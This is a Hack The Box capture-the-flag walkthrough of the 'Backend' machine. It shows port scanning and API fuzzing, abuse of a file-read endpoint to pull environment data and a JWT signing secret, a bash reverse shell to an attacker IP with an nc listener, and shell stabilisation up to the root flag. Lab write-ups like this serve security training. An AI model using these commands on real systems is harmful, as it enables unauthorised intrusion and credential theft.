Hackthebox - Backend

  • Linux

Nmap

┌──(root💀kali)-[~]
└─# nmap -T5 -sC -sV -O -Pn -p- 10.10.11.161
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-13 15:04 EDT
Nmap scan report for 10.10.11.161
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    uvicorn
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     content-type: text/plain; charset=utf-8
|     Connection: close
|     Invalid HTTP request received.
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     date: Fri, 13 May 2022 23:23:02 GMT
|     server: uvicorn
|     content-length: 22
|     content-type: application/json
|     Connection: close
|     {"detail":"Not Found"}
|   GetRequest: 
|     HTTP/1.1 200 OK
|     date: Fri, 13 May 2022 23:22:50 GMT
|     server: uvicorn
|     content-length: 29
|     content-type: application/json
|     Connection: close
|     {"msg":"UHC API Version 1.0"}
|   HTTPOptions: 
|     HTTP/1.1 405 Method Not Allowed
|     date: Fri, 13 May 2022 23:22:56 GMT
|     server: uvicorn
|     content-length: 31
|     content-type: application/json
|     Connection: close
|_    {"detail":"Method Not Allowed"}
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: uvicorn
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=5/13%Time=627EABB5%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,AD,"HTTP/1\.1\x20200\x20OK\r\ndate:\x20Fri,\x2013\x20May\x202022
SF:\x2023:22:50\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2029\r\nc
SF:ontent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"msg\
SF:":\"UHC\x20API\x20Version\x201\.0\"}")%r(HTTPOptions,BF,"HTTP/1\.1\x204
SF:05\x20Method\x20Not\x20Allowed\r\ndate:\x20Fri,\x2013\x20May\x202022\x2
SF:023:22:56\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2031\r\ncont
SF:ent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"detail\
SF:":\"Method\x20Not\x20Allowed\"}")%r(RTSPRequest,76,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(F
SF:ourOhFourRequest,AD,"HTTP/1\.1\x20404\x20Not\x20Found\r\ndate:\x20Fri,\
SF:x2013\x20May\x202022\x2023:23:02\x20GMT\r\nserver:\x20uvicorn\r\nconten
SF:t-length:\x2022\r\ncontent-type:\x20application/json\r\nConnection:\x20
SF:close\r\n\r\n{\"detail\":\"Not\x20Found\"}")%r(GenericLines,76,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20rece
SF:ived\.")%r(DNSVersionBindReqTCP,76,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(DNSStatusRequestT
SF:CP,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20r
SF:equest\x20received\.")%r(SSLSessionReq,76,"HTTP/1\.1\x20400\x20Bad\x20R
SF:equest\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:\
SF:x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(TerminalSe
SF:rverCookie,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20H
SF:TTP\x20request\x20received\.")%r(TLSSessionReq,76,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConn
SF:ection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.");
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.86 seconds

Port 80

gobuster

┌──(root💀kali)-[~]
└─# gobuster dir -u http://10.10.11.161/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.161/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/05/13 16:08:04 Starting gobuster in directory enumeration mode
===============================================================
/api                  (Status: 200) [Size: 20]
/docs                 (Status: 401) [Size: 30]
                                              
===============================================================
2022/05/13 16:08:26 Finished
===============================================================
  • So we have 2 more endpoints including one that will require to be authenticated

  • Lets run gobuster again in the api folder

┌──(root💀kali)-[~]
└─# gobuster dir -u http://10.10.11.161/api/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.161/api/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/05/13 16:12:32 Starting gobuster in directory enumeration mode
===============================================================
/v1                   (Status: 200) [Size: 30]
                                              
===============================================================
2022/05/13 16:12:54 Finished
===============================================================
  • The user gives a 404 and the admin needs authentication

  • Let's try to fuzz methods as well

  • We can try this with wfuzz and hide 404 and 405 codes like this wfuzz -X POST -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.11.161/api/v1/user/FUZZ --hc 404,405

┌──(root💀kali)-[~]
└─# wfuzz -X POST -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.11.161/api/v1/user/FUZZ --hc 404,405
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.161/api/v1/user/FUZZ
Total requests: 4702

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                     
=====================================================================

000001029:   307        0 L      0 W        0 Ch        "cgi-bin/"                                                                                                                                                                  
000002500:   422        0 L      3 W        172 Ch      "login"                                                                                                                                                                     
000003788:   422        0 L      2 W        81 Ch       "signup"                                                                                                                                                                    

Total time: 31.68708
Processed Requests: 4702
Filtered Requests: 4699
Requests/sec.: 148.3885
  • Let's inspect these further with burp

  • We also need to modify the content type otherwise we will get errors Content-Type: application/json

  • Login

  • When trying to login with our user using a json content type it does not work

  • If we try with the previous content type it works and we get a token bearer

  • Swaggers are way cuter so let's do the same thing live with intercept on instead of using the repeater

  • So we have an admin token bearer

  • According to the passwd we have a user htb, let's keep a note of this info

  • Let's play a little with this request in the repeater. Let's try to see /proc/self/environ

{"file":"APP_MODULE=app.main:app\u0000PWD=/home/htb/uhc\u0000LOGNAME=htb\u0000PORT=80\u0000HOME=/home/htb\u0000LANG=C.UTF-8\u0000VIRTUAL_ENV=/home/htb/uhc/.venv\u0000INVOCATION_ID=96ded48945ea4eaa88ac04aee2953139\u0000HOST=0.0.0.0\u0000USER=htb\u0000SHLVL=0\u0000PS1=(.venv) \u0000JOURNAL_STREAM=9:18929\u0000PATH=/home/htb/uhc/.venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000OLDPWD=/\u0000"}
  • The working dir is /home/htb/uhc we can try to get the source code using the info from the env file let's try to access /home/htb/uhc/app/main.py It works! Let's paste it to a file and analyse it

  • If we check the import we can find the config file from app.core.config import settings

  • Let's get the file in burp "file": "/home/htb/uhc/app/core/config.py" We have the JWT secret in it!

class Settings(BaseSettings):
    API_V1_STR: str = \"/api/v1\"
    JWT_SECRET: str = \"SuperSecretSigningKey-HTB\"
    ALGORITHM: str = \"HS256\"
  • For easiest use on the swagger let's connect with the admin creds we created we just have to click on the Authorize green lock on the top right and enter our credentials

  • Now we just need to copy the new token and we should be able to execute commands.

  • Let's try to get a shell bash -i >& /dev/tcp/10.10.14.11/4444 0>&1.

  • We launch a listener nc -lvp 4444

  • let's try to see if we can use it to get root

  • We need to stabilize our shell first we can use this doc to do so. so we just need to type python -c 'import pty; pty.spawn("/bin/bash")'

  • We can finally grab the root flag!! :D :D :D cat /root/root.txt

Last updated